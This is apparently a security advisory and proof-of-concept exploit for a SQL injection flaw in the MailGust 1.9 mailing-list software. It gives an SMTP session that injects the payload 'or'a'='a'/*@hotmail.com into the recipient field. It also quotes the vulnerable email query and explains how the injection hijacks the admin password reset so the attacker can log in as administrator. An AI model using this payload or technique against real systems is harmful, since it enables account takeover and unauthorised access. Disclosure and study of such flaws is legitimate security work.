MAIL FROM: 250 MAIL FROM: OK RCPT TO:<[your_email]> 250 RCPT TO:>[your_email] OK RCPT TO:<'or'a'='a'/*@hotmail.com> 250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK DATA 354 Start mail input; end with . Date: Sat, 24 Sep 2005 16:11:38 +0100 Subject: New password To: [your_email],'or'a'='a'/*@hotmail.com From: systemxxx@localhost.com Your login name is: [admin_email] Your new password is: 4993587 Click here: http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114 to activate the password, than try to log in! It is recommended that you change your password afterwards. . 250 <4335105B00009AE2> Mail accepted QUIT 221 [MAILSERVER] QUIT vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363: ... $query = "SELECT * FROM $applName"."_$userClassName ". "WHERE email='$this->email'"; ... it becomes: SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com' "or'a'='a'" is always true, so the query is always true, script doesn't fail, for mail function, theese are two valid email address, it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;) activate the password, now you can login with [admin_email] as user and new password this is my proof of concept exploit: M a i l G u s t v.1.9 S Q L I n j e c t i o n
